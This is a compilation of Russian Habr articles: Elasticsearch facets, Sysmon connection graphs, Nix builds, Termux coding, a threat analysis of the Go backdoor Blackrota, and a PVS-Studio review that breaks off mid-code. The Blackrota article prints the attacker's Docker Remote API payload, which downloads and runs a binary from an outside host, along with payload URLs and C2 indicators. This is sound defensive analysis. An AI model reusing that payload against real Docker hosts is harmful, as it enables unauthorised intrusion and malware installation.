1. Выбранные пользователем значения фасета не должны исчезать, даже если выбор в другом фасете *аннигилирует* их в 0 или они больше не входят в топ:
В эластике фасеты реализуются через механизм агрегаций, но для соблюдения описанных правил эти агрегации приходится вкладывать друг в друга и друг другом же фильтровать.
Рассмотрим фрагменты запроса, ответственные за это:
**Слишком большой кусок кода**
```
{
...
"post_filter": {
"bool": {
"must": [
{
"terms": {
"card.author_value_id": [
"1951063"
]
}
},
{
"terms": {
"editor_value_id": [
"2337706",
"300643"
]
}
}
]
}
},
"query": {...}
"aggs": {
"card.author_value_id": {
"filter": {
"terms": {
"editor_value_id": [
"2337706",
"300643"
]
}
},
"aggs": {
"card.author_value_id": {
"terms": {
"field": "card.author_value_id",
"size": 11,
"exclude": [
"1951063"
],
"missing": ""
}
},
"card.author_value_id_selected": {
"terms": {
"field": "card.author_value_id",
"size": 1,
"include": [
"1951063"
],
"missing": ""
}
}
}
},
...
"editor_value_id": {
"filter": {
"terms": {
"card.author_value_id": [
"1951063"
]
}
},
"aggs": {
"editor_value_id": {
"terms": {
"field": "editor_value_id",
"size": 11,
"exclude": [
"2337706",
"300643"
],
"missing": ""
}
},
"editor_value_id_selected": {
"terms": {
"field": "editor_value_id",
"size": 2,
"include": [
"2337706",
"300643"
],
"missing": ""
}
}
}
},
...
}
}
```
Что тут что:
* [post\_filter](https://www.elastic.co/guide/en/elasticsearch/reference/current/search-request-post-filter.html) позволяет наложить дополнительное условие на результаты уже выполненного запроса и не влияет на результаты агрегаций. Тот самый разрыв рекурсии. Включает в себя все выбранные значения всех фасетов.
* агрегации верхнего уровня, в примере — *card.author\_value\_id* и *editor\_value\_id*. В каждой есть:
+ фильтр по значениям всех других фасетов, кроме своего;
+ вложенная агрегация для выбранных значений фасета — *защита от аннигиляции*;
+ вложенная агрегация для остальных значений фасета. Показываем топ-10, а запрашиваем топ-11 — для определения, нужно ли выводить кнопку **Показать всё**.
#### Сниппеты
В зависимости от выбранной категории сниппет может выглядеть по-разному, например, один и тот же документ при поиске в категории
**Все**:
и **Сотрудники**:
Или помните, мы хотели видеть предмет коммерческого предложения и от кого оно поступило?
Чтобы не тащить с эластика всю карточку целиком (это замедляет поиск), используется [Source filtering](https://www.elastic.co/guide/en/elasticsearch/reference/current/search-request-source-filtering.html):
```
{
...
"_source": {
"includes": [
"id",
"card.name",
"card.card_type_value_id",
"card.life_stage_value_id",
"extension",
...
]
},
"query": {...}
...
}
```
Для подсветки найденных слов в тексте документа используется [Fast Vector highlighter](https://www.elastic.co/guide/en/elasticsearch/reference/current/search-request-highlighting.html#fast-vector-highlighter) — как генерирующий наиболее адекватные сниппеты для больших текстов, а для наименования — [Unified highlighter](https://www.elastic.co/guide/en/elasticsearch/reference/current/search-request-highlighting.html#unified-highlighter) — как наименее требовательный к ресурсам и структуре индекса:
```
"highlight": {
"pre_tags": [
"**"
],
"post\_tags": [
"**"
],
"encoder": "html",
"fields": {
"card.name": {
"number_of_fragments": 0
},
"content": {
"fragment_size": 300,
"number_of_fragments": 3,
"type": "fvh"
}
}
},
```
При этом наименование подсвечивается целиком, а из текста достаем до 3 фрагментов длиной 300 символов. Текст, возвращаемый Fast Vector highlighter'ом, дополнительно сжимается самодельным алгоритмом для получения минимизированного состояния сниппета.
### Коллапс
Исторически пользователи этой ECM привыкли, что поиск возвращает им *документы*, но на самом деле Elasticsearch ищет среди *версий документов*. Может получиться, что по одному и тому же запросу будут найдены несколько почти одинаковых версий. Это будет захламлять результаты и вводить пользователя в недоумение. К счастью, избежать такого поведения можно при помощи механизма [Field Collapsing](https://www.elastic.co/guide/en/elasticsearch/reference/current/search-request-collapse.html) — некоторого облегченного варианта агрегаций, который срабатывает уже на готовых результатах (в этом он напоминает post\_filter, *два костыля — пара*). Результатом *коллапса* станет самый релевантный из сворачивающихся объектов.
```
{
...
"query": {...}
...
"collapse": {
"field": "id"
}
}
```
К сожалению, коллапс обладает рядом неприятных эффектов, например, различные численные характеристики результата поиска продолжают возвращаться такими, как будто никакого коллапса не было. То есть, число результатов, количество по значениям фасет — все будут *слегка* неправильные, но пользователь этого обычно не замечает, как и уставший читатель, который вряд ли дочитал до этого предложения.
Конец. | https://habr.com/ru/post/460263/ | null | ru | null |
# Еще один способ увидеть коммуникации приложений
Добрый день, коллеги. Как известно, есть очень полезная утилита — [sysmon](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon). В двух словах, она позволяет вам собирать и "логировать" события, происходяшие в Windows. Одним из таких событий является попытка установить сетевое соединение. Таким образом, можно попытаться узнать, куда ходят ваши приложения. Для этого нам понадобятся:
* сам [sysmon](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon)
* конфигурация к нему, я предпочитаю использовать вот [эту](https://github.com/SwiftOnSecurity/sysmon-config)
* модуль [PSQuickGraph module](https://www.powershellgallery.com/packages/PSQuickGraph/1.1)
* и немного фантазии
В принципе, фантазии нам надо совсем чуть-чуть. Sysmon пишет события в лог `Microsoft-Windows-Sysmon/Operational`. Значит нам надо их оттуда достать, разобрать и отобразить. Примерно вот так:
```
$ids = Get-WinEvent -LogName Microsoft-Windows-Sysmon/Operational | ? {$_.id -eq 3}
$commObjects = $ids | % {
New-Object psobject -Property @{
RuleName = $_.Properties[0].value
UtcTime = $_.Properties[1].value
ProcessGuid = $_.Properties[2].value
ProcessId = $_.Properties[3].value
Image = $_.Properties[4].value
User = $_.Properties[5].value
Protocol = $_.Properties[6].value
Initiated = $_.Properties[7].value
SourceIsIpv6 = $_.Properties[8].value
SourceIp = $_.Properties[9].value
SourceHostname = $_.Properties[10].value
SourcePort = $_.Properties[11].value
SourcePortName = $_.Properties[12].value
DestinationIsIpv6 = $_.Properties[13].value
DestinationIp = $_.Properties[14].value
DestinationHostname = $_.Properties[15].value
DestinationPort = $_.Properties[16].value
DestinationPortName = $_.Properties[17].value
SourceString = "$($_.Properties[4].value)`:$($_.Properties[3].value)"
DestinationString = "$($_.Properties[14].value)`:$($_.Properties[16].value)"
}
}
$g = New-Graph -Type BidirectionalGraph
$commObjects | % {
Add-Edge -From $_.SourceString -To $_.DestinationString -Graph $g | Out-Null
}
Show-GraphLayout -Graph $g
```
К несчастью, значения в свойстве `Properties` в виде списка, просто значения, без ключей. Потому, чтобы их связать, пришлось поступить грубо. В конечном счете, мы просто берем эти значения из каждой записи "лога", преобразуем их в объекты, а затем добавляем в граф как вершины и отображаем.
Важно помнить, что процесс с одним и тем же "путем", может быть запущен много раз. С другой стороны, вершина с одним и тем же именем не добавляется дважды. Потому, чтобы уникально представить каждый процесс на графе, мы немного модифицируем оригинальный набор значений, добавляя два новых. Это дает нам возможность точно идентифицировать процесс, поскольку его идентификатор — значение относительно уникальное.
```
SourceString = "$($_.Properties[4].value)`:$($_.Properties[3].value)"
DestinationString = "$($_.Properties[14].value)`:$($_.Properties[16].value)"
```
Вот так это может выглядеть в конечном итоге
Надеюсь, это кому-нибудь пригодится | https://habr.com/ru/post/425375/ | null | ru | null |
# Nix: воспроизводимая сборка
Привет, Хаброюзеры!
Сегодня мы продолжим наш цикл статей о Nix и как мы в Typeable его используем.
Первый пост из серии, рассказывающий об основах языка Nix, можно прочитать [здесь](https://habr.com/ru/company/typeable/blog/550860/).
Так как мы очень любим и много используем Haskell для разработки, пример приложения будет на этом языке, но знание Haskell здесь никак не требуется. С лёгким допиливанием, код из примеров можно использовать и для сборки проектов на других языках.
Весь код для этой статьи можно найти в [репозитарии на Github](https://github.com/typeable/nix-reproducible-example).
Проблема
--------
Сборка и CI — одни из самых больших проблем в разработке софта. На поддержку сборочной инфраструктуры очень часто уходит невообразимое количество ресурсов. С помощью Nix мы попытаемся если не исправить ситуацию, то сделать её немного более приемлемой. Nix позволяет нам обеспечить воспроизводимость сборки наших проектов, переносимость между разными ОС, унифицировать сборку компонентов на различных языках и так далее.
Наше приложение
---------------
Итак, начнём с приложения, которое мы хотим собрать. В нашем случае, это будет простая программа на языке Haskell, выводящая сообщение Hello world.
Наш `Main.hs`:
```
module Main where
main :: IO ()
main = putStrLn "Hello, World!"
```
Для сборки проекта без Nix мы используем утилиту `stack` (подробнее с ней можно ознакомиться [здесь](https://docs.haskellstack.org/en/stable/README/)). В качестве описания проекта для stack требуется файл `stack.yaml`, содержащий список наших пакетов и `resolver`. Последнее — это стабильный срез Hackage, базы пакетов для языка Haskell, в котором гарантируется, что все пакеты собираются и дружат друг с другом (NB подобных срезов крайне не хватает в других языках ): ).
`stack.yaml`:
```
resolver: lts-17.11
packages:
- hello-world
```
Рецепт сборки конкретного пакета находится в `hello-world.cabal`:
```
cabal-version: 2.4
name: hello-world
version: 1.0
synopsis: Hello World
license: MIT
license-file: LICENSE
author: Nick
executable hello-world
main-is: Main.hs
build-depends: base >= 4 && < 5
hs-source-dirs: src
default-language: Haskell2010
ghc-options: -Wall -O2
```
Из этих двух файлов наш код на Nix и будет черпать информацию о том, что именно и как собирать. В качестве эксперимента, можем проверить, что наш код действительно запускается и работает:
```
$ stack run hello-world
Hello, World!
```
Come to the dar^Wnix side, we have cookies!
-------------------------------------------
Сам по себе stack — отличное средство для сборки проектов на Haskell, но в нём не хватает многих возможностей. Для сборки программ на Haskell для Nix есть библиотека [haskell.nix](https://input-output-hk.github.io/haskell.nix/), разработанная компанией [IOHK](https://iohk.io). Её-то мы и будем здесь использовать. Для начала, сделаем так, чтобы наш проект собирался с помощью Nix.
Haskell.nix позволяет нам в несколько строчек преобразовать всю информацию о сборке нашего проекта из `.cabal`-файлов и `stack.yaml` в `derivation` для Nix.
`nix/stackyaml.nix`:
```
{
# Импортируем последнюю версию haskell.nix с GitHub и инициализируем Nixpkgs с её использованием.
haskellNix ? import (builtins.fetchTarball "https://github.com/input-output-hk/haskell.nix/archive/b0d03596f974131ab64d718b98e16f0be052d852.tar.gz") {}
# Здесь мы используем последнюю стабильную версию Nixpkgs. Версия 21.05 скоро выйдет :)
, nixpkgsSrc ? haskellNix.sources.nixpkgs-2009
, nixpkgsArgs ? haskellNix.nixpkgsArgs
, pkgs ? import nixpkgsSrc nixpkgsArgs
}:
let
# Создаём проект на базе stack. Для проектов Cabal есть функция cabalProject.
project = pkgs.haskell-nix.stackProject {
name = "hello-world";
# Derivation с исходным кодом проекта.
# Функция cleanGit копирует для сборки проекта только файлы, присутствующие в нашем git-репозитарии.
src = pkgs.haskell-nix.haskellLib.cleanGit {
name = "hello-world";
# Параметр src должен указывать на корневую директорию, содержащую stack.yaml.
src = ../.;
# keepGitDir оставляет директорию .git при сборке.
# Это может быть полезно, например, чтобы вставить хэш коммита в код.
keepGitDir = true;
};
# В параметре modules можно указать параметры сборки как для всех модулей сразу, так и для каждого в отдельности.
modules = [{
# doCheck отвечает за запуск юнит-тестов при сборке проекта, в том числе содержащихся во всех зависимостях.
# Здесь мы этого хотим избежать, поэтому этот параметр лучше всего ставить false и включить только для нужных
# пакетов.
doCheck = false;
# Добавим для нашего Hello World флаг -Werror.
packages.hello-world.components.exes.hello-world.ghcOptions = [ "-Werror" ];
}];
};
# Наружу из этого файла мы выставляем project -- наш проект, а также pkgs -- срез nixpkgs, который мы будем использовать дальше.
in { inherit project; inherit pkgs; }
```
Давайте проверим, что наш проект теперь можно собрать через Nix. Для этого достаточно команды `nix build`. Как и всегда, в текущей директории будет создана символическая ссылка `result`, содержащая результаты сборки.
```
$ nix build project.hello-world.components.exes
$ ./result/bin/hello-world
Hello, World!
```
Отлично! Небольшой магией выше мы обеспечили полностью воспроизводимую сборку нашего проекта, вплоть до всех системных зависимостей. Поехали дальше!
Dockerfile? Какой Dockerfile?
-----------------------------
Сейчас 2021 год, и очень многие компании используют Docker для деплоя и запуска сервисов. Typeable здесь не будет исключением. В составе `nixpkgs` есть весьма удобный инструментарий для сборки контейнеров под названием `dockerTools`. Более подробно с его возможностями можно ознакомиться [по ссылке](https://nixos.org/guides/building-and-running-docker-images.html), я лишь покажу, как мы с его помощью упаковываем наш код в контейнеры. Полностью код можно посмотреть в файле `nix/docker.nix`.
Для начала нам понадобится исходный контейнер, в который мы закинем всё что нам нужно. Nix позволяет собрать контейнер полностью с нуля без каких-либо лишних компонентов, но, тем не менее, этот подход не всегда удобен. Иногда, особенно во внештатных ситуациях, приходится залезать в контейнер руками через командную строку. Поэтому здесь мы используем CentOS.
```
sourceImage = dockerTools.pullImage {
imageName = "centos";
imageDigest = "sha256:e4ca2ed0202e76be184e75fb26d14bf974193579039d5573fb2348664deef76e";
sha256 = "1j6nplfs6999qmbhjkaxwjgdij7yf31y991sna7x4cxzf77k74v3";
finalImageTag = "7";
finalImageName = "centos";
};
```
Здесь всё очевидно для всех, кто когда-либо работал с Docker. Мы говорим Nix, какой образ из публичного Docker Registry мы хотим использовать и что дальше мы будем на него ссылаться как на `sourceImage`.
Для сборки самого образа в dockerTools есть функция `buildImage`. У неё довольно много параметров, и часто проще написать свою обёртку над ней, что мы и сделаем:
```
makeDockerImage = name: revision: packages: entryPoint:
dockerTools.buildImage {
name = name;
tag = revision;
fromImage = sourceImage;
contents = (with pkgs; [ bashInteractive coreutils htop strace vim ]) ++ packages;
config.Cmd = entryPoint;
};
```
Наша функция `makeDockerImage` принимает четыре параметра: имя контейнера, его версия (в Typeable мы обычно используем хэш коммита из git в качестве тега), пакеты, которые мы хотим включить, и точку входа при запуске контейнера. Внутри же мы ссылаемся на образ с CentOS как основу (`fromImage`), плюс добавляем всякие утилиты, крайне полезные при экстренных случаях.
И, наконец, создадим образ с нашим великолепным приложением.
```
hello-world = project.hello-world.components.exes.hello-world;
helloImage = makeDockerImage "hello"
(if imageTag == null then "undefined" else imageTag)
[ hello-world ]
[ "${hello-world}/bin/hello-world"
];
```
Для начала мы создадим алиас для нужного нам пакета, чтобы не писать `project.hello-world...` повсюду. Дальше, вызвав написанную ранее функцию `makeDockerImage`, мы создаём образ контейнера с пакетом `hello-world`. В качестве тэга будет указан параметр `imageTag`, передаваемый снаружи, либо "undefined" если ничего не передано.
Проверим сборку:
```
$ nix build --argstr imageTag 1.0 helloImage
[4 built, 0.0 MiB DL]
$ ls -l result
lrwxrwxrwx 1 user users 69 May 11 13:12 result -> /nix/store/56qqhiwahyi46g6mf355fjr1g6mcab0b-docker-image-hello.tar.gz
```
Через пару минут или даже быстрее мы получим символическую ссылку `result`, указывающую на наш готовый образ. Проверим, что всё получилось.
```
$ docker load < result
76241b8b0c76: Loading layer [==================================================>] 285.9MB/285.9MB
Loaded image: hello:1.0
$ docker run hello:1.0
Hello, World!
```
Заключение
----------
В итоге, с помощью сравнительно небольшого количества кода, у нас получилось сделать воспроизводимую сборку нашего проекта на Haskell. Точно так же, заменив haskell.nix на что-то другое, можно поступить с проектами на других языках: в nixpkgs есть встроенные средства для C/C++, Python, Node и других популярных языков.
В следующей статье цикла я расскажу о частых проблемах, которые возникают при работе с Nix. Stay tuned!
### Вам может быть интересно:
1. [Nix: Что это и с чем это употреблять?](https://habr.com/ru/company/typeable/blog/550860/)
2. [Haskell – хороший выбор с точки зрения безопасности ПО?](https://habr.com/ru/company/typeable/blog/560286/)
3. [Антирегрессионное тестирование – минимизируйте затраты](https://habr.com/ru/company/typeable/blog/583062/)
4. [А вы знаете, где сейчас используется Лисп?](https://habr.com/ru/company/typeable/blog/581488/)
Версия на английском языке: <https://typeable.io/blog/2021-05-18-nix-2.html> | https://habr.com/ru/post/556828/ | null | ru | null |
# Программирование на телефоне используя эмулятор терминала Termux
Приветствую читателей! В этой статье я расскажу о том, как можно, имея android телефон, писать программы. Говорю сразу — root права не нужны.
### Что нам понадобится?
Первое, что нам понадобится — андроид телефон со установленным на него приложением [Termux](https://termux.com) (есть в [Google Play](https://play.google.com/store/apps/details?id=com.termux)). Для полноценной работы с терминалом, нам нужно достаточно памяти. У меня с десятками установленных пакетов приложение занимает 1.5 ГБ памяти.
Так же, для комфортного кодинга желательно, чтобы телефон был с поддержкой OTG, и у вас была клавиатура с подключением по USB, чтобы писать код на клавиатуре (куда удобнее). Если уж нет этого, то качаем клавиатуру [Hacker's Keyboard](https://4pda.ru/pages/go/?u=https%3A%2F%2Fplay.google.com%2Fstore%2Fapps%2Fdetails%3Fid%3Dorg.pocketworkstation.pckeyboard&e=7621721). В ней есть клавиша Ctrl, что нам важно.
### Почему именно Termux?
Termux имеет в арсенале достаточно пакетов для работы с языками программирования: C/C++, Python, Golang, PHP, Lua.
Так же присутствуют базы данных, я знаю только о mariadb и postgresql.
### Начало
При каждом запуске приложения мы видим приветствие, в котором указаны основные команды для работы с терминалом:
* pkg search — команда для поиска пакетов. Пример: pkg search vim
* pkg install — команда для установки пакета. Пример: pkg install vim
Для кодинга нам понадобится текстовой редактор. Здесь есть разные варианты, я выбирал Vim и вкратце расскажу, как с ним работать.
Установка vim:
```
$ pkg install vim
```
Для примера работы с vim напишем «Hello World» на С.
```
$ vim main.c
```
После этого запустится Vim. Чтобы начать писать код, нужно нажать на клавишу «i».
Пишем код:
```
#include
int main()
{
printf("Hello World!\n");
return 0;
}
```
После этого нажимаем на клавишу «Esc», ставим двоеточие и пишем wq (":wq"). Это сохранит наш файл и изменения в нём (w — write) и закроет его (q — quit).
##### Важно знать!
w — сохранить изменения в файле
wa — сохранить изменения во всех файлах
q — закрыть файл
qa — закрыть все файлы
wq — сохранить изменения и закрыть файл
Теперь нам нужно скомпилировать этот код. Для начала установим компилятор:
```
$ pkg install gcc
```
Далее пишем следуюющее:
```
$ gcc -Wall main.c -o program
```
*main.c* — файл с нашим кодом
*program* — наша програмка.
Теперь можем запустить нашу програмку и посмотреть, работает ли она:
```
$ ./program
```
или
```
$ sh program
```
Результат:
```
Hello World!
```
### Конец
Эта была вводная статья по программированию на телефоне. Пишите, пожалуйста, в комментариях, нужно ли продолжение: работа с базами данных, примеры кода и их запуска на других ЯП, работа с самым терминалом и так далее. | https://habr.com/ru/post/343760/ | null | ru | null |
# Blackrota, сильно обфусцированный backdoor, написанный на Go
*Самый обфусцированный ELF вредонос на Go, который мы встречали на сегодняшний день.*
### Предисловие
Недавно вредоносный бэкдор, написанный на Go, который эксплуатировал уязвимость несанкционированного доступа в Docker Remote API, был пойман на Honeypot Anglerfish.
Мы назвали его Blackrota, так как его С2 домен *blackrota.ga*.
В настоящий момент бэкдор Blackrota доступен только для Linux, в ELF формате и поддерживает x86/x86-64 архитектуры.
Blackrota сконфигурирован и скомпилирован на основе [geacon](https://github.com/darkr4y/geacon) - CobaltStrike Beacon реализации на языке Go, используемого в качестве CobaltStrike Beacon, который взаимодействует с CobaltStrike для управления скомпрометированным хостом:
Однако, это только реализация некоторых ключевых функций оригинального CobaltStrike Beacon:
* **CMD\_SHELL:** выполнение Shell комманд,
* **CMD\_UPLOAD:** загрузка файлов,
* **CMDDOWNLOAD:** загрузка специальных файлов,
* **CMD\_FILE*\_*ROWSE:** просмотр файла,
* **CMD\_CD:** изменение директории,
* **CMD\_SLEEP:** установка времени задержки сна,
* **CMD\_PWD:** возврат текущей директории,
* **CMD\_EXIT:** выход.
В отличие от оригинального geacon, Blackrota использует [gobfuscate](https://github.com/unixpickle/gobfuscate) - для обфускации исходного кода до момента компиляции. Gobfuscate - это программа с открытым исходным кодом для обфускации Go-кода, который может обфусцировать следующие элементы Go-кода со случайной заменой символов:
* **Имена пакетов;**
* **Глобальные переменные;**
* **Имена функций;**
* **Типы;**
* **Имена методов.**
В дополнение, gobfuscate заменяет все строки в коде на строки с XOR кодированием, назначая каждой строке функцию декодирования XOR, которая динамически декодирует строки во время выполнения программы.
Язык программирования Go использует полностью статическую линковку для построения бинарных файлов. Как результат, весь код, используемый в стандартных и сторонних библиотеках, упаковывается в бинарные файлы, имеющие очень большой размер. Эта характеристика, с точки зрения обратного анализа, означает, что при открытии двоичного файла Go при дизассемблировании вы увидите тысячи или даже десятки тысяч функций. Если эти функции не имеют соответствующей символики, будет трудно провести обратный анализ бинарных файлов Go.
Хорошая новость в том, что Go имеет еще один механизм: при сборке бинарного файла как **RTSI** (Runtime Symbol Information) так и **RTTI** (Runtime Type Information) упаковываются в двоичный файл и не могут быть удалены. В данный момент, почти все специальные инструменты для реверсинга бинарных файлов Go, чтобы помочь процессу анализа, пытаются восстановить эту информацию из бинарных файлов Go. Проекты Go часто импортируют множество сторонних пакетов с открытым исходным кодом. В общем, восстановленные RTSI и RTTI приведут нас к соответствующему пакету с открытым исходным кодом, затем мы сможем прочитать исходный код сторонних пакетов, что еще больше повысит эффективность дизассемблирования.
Blackrota использует gobfuscate для обфускации символов и типов, которые являются "life-door" для инструментов дизассемблирования. Символьная информация становится нечитаемой и невозможно понять смысл этой информации и ее тип, так же невозможно узнать, какие сторонние пакеты были импортированы в проект. Это делает процесс дизассемблирования более сложным.
Исторически, мы видели вредоносы написанные на Go, которое в лучшем случае были удалены символы во время компиляции, а в худшем - слегка запутывались, которые дизассемблировались без особого труда. Blackrota - это новый подход к обфускации и является самым обфусцированым вредоносом на Go в ELF формате, который мы нашли на сегодняшний день.
### Анализ
Распространение Blackrota
Автор Blackrota использует несколько полезных нагрузок для несанкционированного использования удаленного API Docker. Типичная упрощенная полезная нагрузка выглядит следующим образом:
```
POST /v1.37/containers/create HTTP/1.1
Host: {target_host}:{target_port}
User-Agent: Docker-Client/19.03.7 (linux)
Content-Length: 1687
Content-Type: application/json
{"Env":[],"Cmd":["/bin/sh","-c","rm ./32 ; wget https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32;chmod 777 32; nohup ./32 \u003c/dev/null \u003e/dev/null 2\u003e\u00261 \u0026"],"Image":"alpine","Volumes":{},"WorkingDir":"","HostConfig":{"Binds":["/:/mnt"]}
```
При успешной загрузке 32/64 битная версия Blackrota может быть загружена со следующих URL адресов:
```
https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32
https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/64
```
### Бэкдор Blackrota
Как описано выше, бэкдор Blackrota был написан на языке Go. С помощью нашего [go\_parser](https://github.com/0xjiayu/go_parser) в IDAPro, мы можем сказать, что она была скомпилирована на **Go1.15.3**, с **GOROOT** path ***"/usr/local/Cellar/ go/1.15.3/libexec"***. В дополнение к этим двум фактам, проанализированные пути к исходным файлам, имена функций, глобальных переменных, типов данных и методов, привязанные к данным, запутаны случайными заменами символов и не читаемы.
Мы можем посмотреть пути к исходному файлу, участвующему в проекте (директория с исходным файлом назван случайной строкой)
```
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/main.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/http.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/packet.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/commands.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/sysinfo_linux.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/meta.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/setting.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/req.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/resp.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/dump.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/pmdjfejhfmifhmelifpm/util.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rsa.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rand.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/aes.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/eepmoknkdieemfhjjjgl/config.go
```
### Наименование функций в Blackrota
Из вышеизложенных результатов анализа, самой большой проблемой для дизассемблировании является то, что имена функций, типов и методов из исходного кода сторонних пакетов, импортированных из образца Blackrota обфусцируются в бессмысленные случайные символы.
Список части функций после анализа:
Объявление обфусцированного типа данных:
В дополнение, все еще существуют имена методов, привязанные к типам данных, которые обфусцированы не полностью:
С тысячами случайно именованных строковых функций и большим количеством случайно именованных типов данных, методов и глобальных переменных, мы не могли быть уверены, какие сторонние Go пакеты будут использованы внутри образца, что делало дальнейшее дизассемблирование практически невозможным. В конце концов, после некоторого тщательного анализа, мы обнаружили, что образец Blackrota был скомпилирован из geacon.
Таким образом, мы можем попытаться восстановить символы функций в образце Blackrota, используя следующие шаги:
1. Скомпилировать двоичный файл geacon с подобной архитектурой процессора как образец Blackrota, без удаления символов,
2. используя idb2pat.py в IDAPro извлечь шаблон (geacon.pat) geacon-функций,
3. использовать sigmake из Flair Tools чтобы создать файл подписи для geacon (geacon.sig),
4. импортировать geacon.sig в образец Blackrota в IDAPro, идентифицировать и восстановить символы в функциях.
Прогресс есть! Но радоваться еще рано, потому что мы выяснили, что символы в функциях распознаются не полностью, и есть около сотни функций, которые не покрываются geacon-символами, часть из которых распознается следующим образом:
### Строки в Blackrota
В приведенном выше анализе мы увидели, что только очень немногие строки, используемые в стандартных пакетах Go, анализируются в Blackrota, в то время как строки внутри geacon не анализируются. Проблема заключается в вышеприведенных функциях, которые не охватываются geacon.
Из нашего анализа мы видим, что Blackrota кодирует с помощью XOR все строки, которые он использует внутри, и динамически декодирует строки во время выполнения, чтобы ссылаться на них. Для каждой строки существует функция декодера XOR. gobfuscate генерирует случайный ключ XOR той же длины, что и строка, решает строку символов и возвращает ее, а решенная строка ссылается на родительскую функцию. Одна из ключевых частей функции декодирования XOR показана на следующем рисунке:
Если мы хотим декодировать все строки, нам необходимо найти каждую функцию кодирования строк, найти закодированные байты и ключ XOR и решить строки с помощью алгоритма XOR. Это увеличит объем работы по дизассемблированию, а также поможет программе в некоторой степени избежать автоматического обнаружения продуктов безопасности.
### Заключение
Обфусцированный вредонос, написанный на Go, встречается редко, за исключением нескольких простых попыток белых шляп, но только две были замечены раньше. Одна из них - это программа вымогатель, обнаруженная [@joakimkennedy](https://twitter.com/joakimkennedy), которая только запутывает символы функций в пакете main:
Эта программа просто запутывает имена нескольких функций в пакете main и вряд ли вызовет какие-либо проблемы при дизассемблировании:
Другой - еще один вымогатель [**EKANS**](https://www.dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/), который использует тот же метод обфускации, что и Blackrota:
Метод обфускации, используемый во вредоносах Blackrota и EKANS, создают новые вызовы/проблемы для дизассемблирования. По мере того, как язык Go становится более популярным, все больше и больше вредоносных программ будут написаны на Go в будущем, мы будем следить за тем, что будет происходить.
**IoCs**
MD5:
```
e56e4a586601a1130814060cb4bf449b
6e020db51665614f4a2fd84fb0f83778
9ca7acc98c17c6b67efdedb51560e1fa
```
C&C:
```
blackrato.ga 165.227.199.214 ASN: 14061|DigitalOcean,_LLC
```
P.S. Статья опубликована с разрешения автора. Мой первый перевод, прошу отнестись с пониманием. | https://habr.com/ru/post/535228/ | null | ru | null |
# Об ошибках в коде QuantConnect Lean
В данной статье рассматриваются ошибки в проекте с открытым исходным кодом, найденные с помощью статического анализатора. Говорится о некоторых простых вещах, которые могут помочь избежать их появления. Например, используя синтаксические конструкции языка начиная с C# 8.0. Надеюсь, что будет интересно. Приятного прочтения.
[QuantConnect Lean](https://github.com/QuantConnect/Lean/) — это алгоритмический торговый движок с открытым исходным кодом, созданный для легкого исследования стратегий, бэктестинга и живой торговли. Совместим с Windows, Linux и macOS. Интегрируется с распространенными поставщиками данных и брокерскими компаниями для быстрого развертывания алгоритмических торговых стратегий.
Проверка была осуществлена с помощью статического анализатора [PVS-Studio](https://www.viva64.com/ru/pvs-studio/). PVS-Studio — это инструмент для выявления ошибок и потенциальных уязвимостей в исходном коде программ, написанных на языках С, C++, C# и Java на Windows, Linux и macOS.
Случайности не случайны
-----------------------
```
public virtual DateTime NextDate(....)
{
....
// both are valid dates, so chose one randomly
if ( IsWithinRange(nextDayOfWeek, minDateTime, maxDateTime)
&& IsWithinRange(previousDayOfWeek, minDateTime, maxDateTime))
{
return _random.Next(0, 1) == 0 // <=
? previousDayOfWeek
: nextDayOfWeek;
}
....
}
```
[V3022](https://www.viva64.com/ru/w/v3022/) Expression '\_random.Next(0, 1) == 0' is always true. RandomValueGenerator.cs 142
Смысл был в том, что выбирается либо одно, либо другое значение с 50% вероятностью. Однако в этом случае метод *Next* всегда будет возвращать 0.
Это происходит потому, что в диапазон значений не включается второй аргумент. То есть значение, которое метод может вернуть, будет находиться в диапазоне [0,1). Исправим это:
```
